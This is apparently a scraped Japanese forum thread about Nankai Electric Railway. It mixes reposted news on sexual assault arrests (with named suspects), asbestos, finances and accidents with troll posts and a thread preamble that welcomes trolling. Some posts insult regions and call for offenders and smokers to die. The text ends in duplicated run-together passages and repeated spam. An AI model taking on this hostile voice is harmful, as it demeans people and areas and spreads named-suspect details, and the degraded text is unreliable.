s/topics/index/02122/1.html◆◇◆◇◆南海電鉄運転士らが強制わいせつ＝コンパニオンに、逮捕−神戸◆◇◆◇◆コンパニオンの女性をトイレに閉じ込めて体を触ったとして、兵庫県警有馬署は25日、監禁と強制わいせつの
疑いで、南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘＝、車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘＝両容疑者を逮捕した。両容疑者は「合意の上だった」と供述している。調べによると、両容疑者は5月29
日夜、神戸市北区有馬町のホテルで、宴会に派遣されていた同区在住のコンパニオンの女性（23）を男子トイレの個室に監禁して胸などを触った疑い。（時事通信）-7月25日18時0分更新ソース：ttp://headlines.yahoo.co.jp/h
l?a=20060725-00000096-jij-soci◆◇◆◇◆南海電鉄、不動産評価損２００億円旅館など７社解散へ◆◇◆◇◆南海電気鉄道は２５日、造成を当面凍結する分譲用地の評価損約１９８億円を計上し、０７年３月期の当期利益見通
しを７８億円から２３億円に下方修正した、と発表した。経営難の子会社など７社の解散も併せて明らかにした。同社は、沿線の和歌山県橋本市で開発を進めてきた「南海橋本林間田園都市」（計画面積約６６８ヘクタール）の

新たな造成を凍結、７０年前後に取得した山林約２００ヘクタールの評価を見直した。同都市の計画人口は約４万２０００人だが、現在は約１万２０００人にとどまっている。解散を決めたのは、昨年末で大阪市での営業を終え
た「ホテル南海」、今月末でフェリーの運航を終了する「南海淡路ライン」、和歌山市の旅館を３月に地元企業に売却する「萬波楼」など。ttp://www.asahi.com/business/update/0125/181.htmlｸｸ｜|プ/ｸｸ｜|プ/ｽｸｽ＿||│//.ｽ
ｸｽ＿||│//／ｽ─||ッ//／ｽ─||ッ//／＿＿＿＿＿//／//／ｌ⌒ｌｌ⌒ｌ＼））＿＿＿＿.／／￣|,=||=､|￣ヾ／＿＿＿＿ヽ/￣/￣.ー'●ー'￣ｌ￣||/,−､,-､ｌ））|￣l￣￣__|.￣ｌ￣.|_|-|,=|=､|||.￣|￣￣`Y⌒l__￣ﾉ￣(6.ｰっ
-´､}ヽヽ人_（ヾヽ`Y⌒l_ﾉ減損処理で当期赤字に南海電鉄決算>〓〓〓〓〓〓-ｲ／ヽ人_（ヽwww.asahi.com/kansai/news/OSK200605120072.html／／Θヽ｜/￣￣￣ヽ-ｲ南海電気鉄道が１２日発表した０６年３月期連結決算は、売
上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。◆◇◆◇◆南海電鉄アスベス
トむき出し◆◇◆◇◆南海電鉄によりますと、あわせて１３の駅で天井のはりなどにアスベストが使われており、中でも大阪市内と堺市内の６つの駅ではアスベストを吹きつけた部分が密閉されず、一部がむき出しになっていて
、薬品などで固定する措置も取られていないということです。このうち、１つの駅では、近く予定されている改築に合わせてアスベストを撤去しますが、ほかの５つの駅では撤去や密閉などの新たな措置は今のところ考えていな
いということです。これについて南海電鉄の総務部は、現状でもアスベストが飛び散るおそれはないとしており、アスベストがむき出しになっている駅がどこかは明らかにしていません。一方、大阪の大手私鉄、京阪電鉄により
ますと、４つの駅で建物にアスベストが吹き付けられており、このうち、大阪・枚方市の村野駅の屋根の一部でアスベストがむき出しになっているということです。京阪電鉄でも、アスベストが飛散する心配はほとんどないとし

ていますが、近く、撤去することにしています。このほか、近鉄でも５つの駅でアスベストが吹き付けられていますが、飛散しないように固定する措置を取っているため、健康上の心配はないとしています。ttp://www3.nhk.or.
jp/news/2005/08/02/d20050802000028.html★★★★★★★★★★★★★★★★南海電鉄、単体209.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間単体、05年9月当期赤字転落209.45億円、06年3月見
通142億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05年3月期実績売上高（百万円）35,61
851,77570,200100,025(-31.2%)営業利益（百万円）6,7908,914(-23.8%)経常利益（百万円）3,4903,4383,0005,988(+1.5%)当期利益（百万円）△20,9454,963△14,2005,490１株利益（円）△39.909.45△27.0510.45発行済株式総数
(千株）524,859525,266１株配当（円）0.000.00--4.00ttp://today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64783+15-Nov-2005+RTRS★★★★★★★★★★★★★★★★南海電鉄、連結192
.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間連結、05年9月当期赤字転落192.45億円、06年3月見通110億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(2005年4月1日-
2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05年3月期実績売上高（百万円）91,09099,560192,000196,210(-8.5%)営業利益（百万円）12,71910,682(+19.1%)経常利益（百万円）7,43

84,79110,0009,470(+55.2%)当期利益（百万円）△19,2456,616△11,0007,737１株利益（円）△36.7312.65△20.9614.79営業活動ＣＦ（百万円）17,98220,236ttp://today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&sy
mbol=9044.OS&storyid=64776+15-Nov-2005+RTRS◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆2006年05月12日南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来
園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html（１１月２９
日の社会面ニュース）４少年が電車・駅で女子高生にわいせつ行為容疑で逮捕--------------------------------------------------------------------------------大阪府立高校の男子生徒３人を含む少年４人が、女子高校生
に電車内などでわいせつな行為をしたとして、府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（
ほうじょ）容疑で逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発
難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレ
に連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、
当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html

関係者の人の話によると、8000系(仮称)はオールロングシートになるそうだ、マジな話で。2300系以上に各部品の共通化を図り、徹底的にコスト削減を追及した車両になるみたいだ。価格は一両で大体1億1000千万円位だと。

>88実はクロスシートだって知ってた？ｗｗｗｗｗ>80ヒドイ話だ。見てみぬふりをした乗客も全員特定して、幇助罪で逮捕すべき。ガキは死刑だな。数人の客「自分がワイセツされると思うと怖くて……」

みさき公園

○さき高？

弱小私鉄の一つ、大阪は小便臭い難波とガラの悪い泉州・田舎臭い和歌山・観光客激減の高野山・JRに完敗の関空を結ぶ日本最低の私鉄
南海電気鉄道の本線・高野線(ウォッチ以外)・高師浜線・多奈川線・加太線・和歌山港線・過去の廃線区間について語りましょう。
なお、このスレは鉄道路線・車両板掲載の板のため、南海関係でもスレ違いの話が発生します。
スレ違い・板違いにならないように、重々お気をつけない。荒らしは歓迎。煽り推奨！

聞き分けのある珍作さんは出てきても(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。
どうせ珍作さんはコピペばかりで似たような事しか言いません。(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。
他スレから変なものをコピペしてきたり、既出のものを何度も挙げるのも歓迎。
何度もやってる珍作さんは(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。

ガイドラインを守りたくない人は新規にスレを立てない。立てたら荒らす。
なお、分かって荒らしている珍作さんは(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。
流行語３語と成分分析の使いすぎには注意しない。「使い方を間違えてる人」は(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。
主なガイドライン(お約束)・各種リンク、過去ログ、既出質問やくだらないネタは「まとめサイト」に掲載しています。
わざわざスレッドに貼り付けるの絶対歓迎。

　　　　◇◆◇◆◇　南海電鉄が申告漏れ ３年間で３億５０００万円（共同通信）　◇◆◇◆◇


南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の
申告漏れを指摘されていたことが２１日、分かった。

同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を
含め約１億１０００万円を追徴課税（更正処分）した。

関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。

しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして
重加算税の対象にしたという。

また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。
不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。

http://news.goo.ne.jp/news/topics/index/02122/1.html

　　　　　　　　　　　　　　　　◆◇◆◇◆　減損処理で当期赤字に　南海電鉄決算　◆◇◆◇◆


　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　2006年05月12日


　　　　　　　南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、
　　　　　　来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が
　　　　　　２１０億円に上り、当期損益は６５億円の赤字になった。

　　　　　　　　　　　　　　　　ソース：www.asahi.com/kansai/news/OSK200605120072.html

　　　　　　　　　　　　　　　　　　　　　南海電鉄 アスベストむき出し


南海電鉄によりますと、あわせて１３の駅で天井のはりなどにアスベストが使われており、中でも大阪市内と
堺市内の６つの駅ではアスベストを吹きつけた部分が密閉されず、一部がむき出しになっていて、薬品などで
固定する措置も取られていないということです。
このうち、１つの駅では、近く予定されている改築に合わせてアスベストを撤去しますが、ほかの５つの駅では
撤去や密閉などの新たな措置は今のところ考えていないということです。

これについて南海電鉄の総務部は、現状でもアスベストが飛び散るおそれはないとしており、アスベストが
むき出しになっている駅がどこかは明らかにしていません。

一方、大阪の大手私鉄、京阪電鉄によりますと、４つの駅で建物にアスベストが吹き付けられており、このうち、
大阪・枚方市の村野駅の屋根の一部でアスベストがむき出しになっているということです。
京阪電鉄でも、アスベストが飛散する心配はほとんどないとしていますが、近く、撤去することにしています。

このほか、近鉄でも５つの駅でアスベストが吹き付けられていますが、飛散しないように固定する措置を取って
いるため、健康上の心配はないとしています。
http://www3.nhk.or.jp/news/2005/08/02/d20050802000028.html

　　　　　　　　　◆ ◆ ◆ 「うるさい」と子ら暴行容疑　〜高石　南海電車内で〜 ◆ ◆ ◆


　27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会で
アイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。
男児ははずみでホームに押し出され転倒。

　男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で
現行犯逮捕された。

　調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。
男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。

ソース：朝日新聞２月28日付朝刊35頁社会面

　　　　　　　◆◇◆◇◆　　運転士と車掌が女性監禁　トイレで強制わいせつ　　◆◇◆◇◆


23歳コンパニオンをトイレに監禁、体触る

　兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３４＝大阪府羽曳野市）、南海電鉄車掌喜多信也（３３＝和歌山県橋本市）の両容疑者を逮捕した。

　調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。

　両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。２次会ではコンパニオン数人の時間を延長して接待を受けていた。

　両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。両容疑者は約４０分間、女性をトイレに監禁し、わいせつな行為に及んだという。]
同僚のコンパニオン女性が席に戻ってこない女性を心配し、男子トイレを外からノックしたが、反応はなかったという。６月上旬に女性が同署に被害届を提出した。

南海電鉄は「あるまじき行為。全社員への教育を徹底する」とコメント、両容疑者の処分を検討している。

http://osaka.nikkansports.com/news/p-on-tp6-20060726-66186.html

（１１月２９日の社会面ニュース）
４少年が電車・駅で女子高生にわいせつ行為　容疑で逮捕
--------------------------------------------------------------------------------

　大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、
府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、
１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。
少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。

　少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、
同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。
女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに
連れ込んで約１０分間、わいせつな行為を続けた疑い。
高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。

　同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客は
助けようとしなかった。車掌や駅員も気づかなかったという。
少年４人は遊び仲間で、女子生徒とは面識がなかった。

ttp://www.asahi.com/kansai/news/OSK200411300005.html

　　　　　　　■「世界遺産登録に“超高層”の影」 2006/05/23 放送 （長文のため一部省略）


この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。
超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。

しかし去年９月、竹川さんの耳に信じられないニュースが飛び込んできました。
なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。

世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。

建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。
それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に指定されました。
そこに南海電鉄は、超高層マンション計画を立ち上げたのです。

〈南海電鉄住宅事業部・田中裕二部長〉
「町が変わるんだ、中心地が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。
（超高層マンションは）違和感のない景観だと思っています」

　　　　　　　　　　　　　　　　　　　＜続く＞

しかしこの計画地、反正陵からわずか１２０メートル。
完成したら周囲の景観は激変し、世界遺産登録への影響が心配されます。
反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。

地元で反対運動を進める吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明してきました。
〈地元対策協議会・吉田暢事務局長〉
「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの建物が建つという風にお考え頂いたら
よくわかりますよ』と。あぁそういうことかと」
吉田さんのもとには、すでに７，０００人を越える署名が集まりました。

堺市の有識者会議にも名を連ねる専門家はこう指摘します。
〈京都府立大学・宗田好史助教授〉
「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」

世界遺産か高層マンションか。

http://mbs.jp/voice/special/200605/23_2733.shtml

　　　　　　　　　　　　◆◇◆◇◆　踏切の電源入れ忘れ作動せず８列車通過　南海和歌山港線　◆◇◆◇◆

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　2006年10月20日20時46分


　和歌山市網屋町の南海和歌山港線「久保町２号踏切」で２０日始発から午前８時半ごろまで、警報機や遮断機が作動せず、特急や急行など計８本の列車がそのまま通過した。
未明にあった点検作業のため電源を切ったまま忘れていたのが原因という。
現場は工場が密集する地域で人通りは少なく、けが人はなかった。

　南海電気鉄道によると同日午前０時半ごろ、踏切や信号機などに電気を送る電源装置の定期点検のため、同線の踏切１１カ所の電源を切った。
点検が終わった午前３時ごろから、社員２人が電源を入れて回ったが、ここだけ復旧し忘れたという。

　午前８時５分ごろ、現場手前で急行列車の運転士が異常に気付き、本社に連絡した。
同社は「初歩的なミスで大変申し訳ない。作業手順の厳守とチェックを徹底する」としている。

http://www.asahi.com/national/update/1020/OSK200610200054.html

　　　　　　　　　　◆◇◆◇◆　南海電鉄、不動産評価損２００億円　旅館など７社解散へ　◆◇◆◇◆


　南海電気鉄道は２５日、造成を当面凍結する分譲用地の評価損約１９８億円を計上し、０７年３月期の当期利益見通しを
７８億円から２３億円に下方修正した、と発表した。
経営難の子会社など７社の解散も併せて明らかにした。

　同社は、沿線の和歌山県橋本市で開発を進めてきた「南海橋本林間田園都市」（計画面積約６６８ヘクタール）の新たな
造成を凍結、７０年前後に取得した山林約２００ヘクタールの評価を見直した。
同都市の計画人口は約４万２０００人だが、現在は約１万２０００人にとどまっている。

　解散を決めたのは、昨年末で大阪市での営業を終えた「ホテル南海」、今月末でフェリーの運航を終了する「南海淡路
ライン」、和歌山市の旅館を３月に地元企業に売却する「萬波楼」など。

ttp://www.asahi.com/business/update/0125/181.html

南海電鉄で囁かれる｢最悪のシナリオ｣
怪文書が指摘する疑惑の数々､疑惑に発展か

　経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然として厳しい状態が続いている。
各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。
しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。
　さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。
　近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、
前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五％もの減少という惨憺たる結果になっている。
さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。

「全国的に見ても、関西の雇用情勢は相変わらず厳しい上に、少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、
大手五社の中で経常利益が前年同期比でマイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも収益が減っているのも確かですが
南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかったようです。それでも、
これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）
　実際、グループ会社も含めた連結決算ではもっと惨憺たる結果が出ており、
連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒字をキープしたが、連結での赤字転落はA連結決算を公表して以来、初めてのことだという。
　こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。

　　　　　　　南海電鉄、堺に１４８メートルのマンション計画　仁徳陵を一望、住民「景観壊す」
　堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が
“丸見え”になることがわかった。
天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、地元住民からは「景観悪化につながる」と建設反対の動きも。
中には「天皇陵を見下ろすことに問題はないのか」の声もある。
建設主の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。
　南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。
四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。
高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。
同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。
　同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、
周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。
　地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、
建設を中止しなければ世界遺産登録はありえない」と指摘。
ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が
持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。
　住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、
低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。
堺の中心地に人を呼び戻す絶好のチャンスと期待している」。
http://www.sankei.co.jp/news/060419/evening/20iti001.htm

★★★★★★★★★★★★★★★★　南海電鉄、単体209.45億円の赤字転落　★★★★★★★★★★★★★★★★

南海電<9044.OS>：中間単体、05年9月当期赤字転落209.45億円、06年3月見通142億円の赤字
2005年 11月 15日 火曜日 14:23 JST

［東京 １５日 ロイター］

2005年9月(2005年4月1日-2005年9月30日) 注) カッコ内は前年比、△は赤字
05年9月中間期 04年9月中間期 06年3月期見通 05年3月期実績
売上高 （百万円） 35,618 51,775 70,200 100,025
(-31.2%)
営業利益 （百万円） 6,790 8,914
(-23.8%)
経常利益 （百万円） 3,490 3,438 3,000 5,988
(+1.5%)
当期利益 （百万円） △20,945 4,963 △14,200 5,490
１株利益 （円）　　 △39.90 9.45 △27.05 10.45
発行済株式総数(千株） 524,859 525,266
１株配当 （円）　　 0.00 0.00 -- 4.00
http://today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64783+15-Nov-2005+RTRS

★★★★★★★★★★★★★★★★　南海電鉄、連結192.45億円の赤字転落　★★★★★★★★★★★★★★★★

南海電<9044.OS>：中間連結、05年9月当期赤字転落192.45億円、06年3月見通110億円の赤字
2005年 11月 15日 火曜日 14:23 JST

［東京 １５日 ロイター］

2005年9月(2005年4月1日-2005年9月30日) 注) カッコ内は前年比、△は赤字
05年9月中間期 04年9月中間期 06年3月期見通 05年3月期実績
売上高 （百万円） 91,090 99,560 192,000 196,210
(-8.5%)
営業利益 （百万円） 12,719 10,682
(+19.1%)
経常利益 （百万円） 7,438 4,791 10,000 9,470
(+55.2%)
当期利益 （百万円） △19,245 6,616 △11,000 7,737
１株利益 （円）　　 △36.73 12.65 △20.96 14.79
営業活動ＣＦ（百万円） 17,982 20,236

http://today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64776+15-Nov-2005+RTRS

借入金は時価総額などと比べると実情が比較的表れます。

南海借入金残高２６８，５８３百万円　時価総額２２８，９８９百万円　１１７．３％（時価総額に占める借入金割合）
阪急借入金残高５００，０２６百万円　時価総額６７２，６５０百万円　７４．３％
阪神借入金残高１３４，７７４百万円　時価総額３９６，３５３百万円　３４．０％
近鉄借入金残高４６９，６９８百万円　時価総額７５９，６８１百万円　６１．８％
京阪借入金残高１１４，１６４百万円　時価総額２３９，９４７百万円　４７．５％

こう見れば各社の状態がわかる。
南海は借入金が企業規模の割には大き過ぎるる上に金利が高い。
一線を越えてしまっている。
近鉄も注意を要するが南海ほどでもない。京阪は底を脱したのが鮮明に。
阪急は借入金はやや多いが金利は安く抜群の収益力でカバー。
堅実派として名の通る阪神は借入金は元から少なめ。金利は高いが収益力を考慮すれば問題はない。
これでは社債は金利を高くしないと厳しいだろう。

南海の運転ミスによる情けない事故の歴史


●男里川事故…踏切でトラックと衝突して川へ転落
　 　 　 　 　 　 後で運転士が自分の子供を抱えながら運転していたことがバレて大問題に


●羽倉崎事故…回送車両が車止めを越え更に道路向かいの仏壇屋へ特攻
　 　 　 　 　 　 担当の入換運転士曰く「天気が良かったので空に見とれていたら（ｒｙ」


●住ノ江事故…同じく回送車両がATSを切った状態で冒進、高架下のプールにダイブ未遂
　 　 　 　 　 　この運転士の言い訳は「急いで帰りたかった」

＜住んでみたい街（関西）トップ10＞に、南海ヲタご自慢の「帝塚山」をはじめ南海沿線の街が１つも出てこなかった上、
トップ10の街すべてを阪急沿線に独占され、阪急にお話にもならない惨敗を喫した南海w
しょせん、スラム街の南海沿線なんぞに住みたいなどというバカでキモい奴など、南海ヲタ以外には存在しないということが
改めて証明された（ﾌﾟｹﾞﾗ


　　　　　　　　　　　　　住んでみたい街（関西）トップは「芦屋」

ソース　http://allabout.co.jp/house/townkansai/closeup/CU20060925A/

現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装撮影会でシコシコとオナニーした、
情けない赤字南海&南海ヲタ






　　　　おらあああ！！　モギャ！　　　　 　　∧＿∧
　―＝≡三 ∧＿∧ 　　　　　＼从从//／　 （´∀｀　）　三≡＝―
―＝≡三と（#´∀｀）つ''"´"　∧_ﾉ；*;''"´"''::;:,（ 阪急 つ　三≡＝―
　―＝≡三　ヽ　阪和線￣⌒)＞д(;;;((⌒￣￣￣＿　 ）　三≡＝―
　―＝≡三　/　 /￣￣´"'''⊂;;；#':*,'´''::;;;;::'''"´￣ヽ　＼　三≡＝―
　―＝≡三　＼__）;　／／／（_ ,､ ｀^)^) ＼＼＼　　（_＿）　三≡＝―
　　　　　　　　　　　　　　　　　↑赤字南海



赤字南海ヲタが阪急萌えを自白
「べっ別に阪急が好きだからこのスレに常駐してるんじゃないんだからね！」

ファ

>>424
JR東とかから見れば、所詮衰退する関西の鉄道。
しかもボロい電車走らせているのは阪急も南海も阪和線も同じ。

『目糞鼻糞を笑う』とはこの事だと、そういう風に見えている事に早く気付け。

>>424
コピペにマジレスカッコ悪い

>211南海はぼろいttp://vista.crap.jp/img/vi7552307313.jpg次回南海都市伝説絵巻第120話ボロボロだや（´・ω・｀）の巻き！南海の車内はなぜあんなに散らかっているのか？清掃人件費をケチってるからか？それとも、沿線
乗客のマナーが悪いからか？>314清掃以前に散らかるのは何故か？を考えると答えは見えてくる。駅でも喫煙コーナー以外でタバコ吸う奴氏んでくれ。もう喫煙コーナーも廃止していいよ＞南海次回南海都市伝説絵巻第121話紀
ノ川に眠る伝説とは乞うご期待速い阪和線快速列車を快速と名乗るJR→謙虚・まじめ・誠実・したたか・便利・快適・本社社員全高学歴のろい特急を特急と名乗る南海→高慢・ほら吹き・いい加減・強がり・不便・不快・本社社
員全低学歴>375空いてるだけらくだと思え。阪和の快速は、混んでいて使えない。特急も結構快適だし便利だ。ほら吹き、まぁそれは否定できない。前にサザンに乗ったときに前よりのドアが開きます。といったが、実際は後よ
りだった南海はぼろい>403「南海はぼろい」のは事実だが？男里川事故…踏切でトラックと衝突して川へ転落後で運転士が自分の子供を抱えながら運転していたことがバレて大問題に羽倉崎事故…回送車両が車止めを越え更に道
路向かいの仏壇屋へ特攻担当の入換運転士曰く「天気が良かったので空に見とれていたら（ｒｙ」住ノ江事故…同じく回送車両がATSを切った状態で冒進、高架下のプールにダイブ未遂この運転士の言い訳は「急いで帰りたかっ
た」何で南海厨は現実と戦わないの？ttp://hobby7.2ch.net/test/read.cgi/train/1090056863/l50◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜
線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を

殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者は「子ども
たちがうるさかった」と供述しているという。ソース：朝日新聞２月28日付朝刊35頁社会面南海は赤字、業績悪化、株価暴落、社会的信用喪失、会社崩壊二とを追うもの二ととも取れだb次回南海都市伝説絵巻第122話骨組み開始
新駅まもなく乞うご期待南海は・・・ボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボ
ロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボ
ロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボ
ロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボ
ロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボ
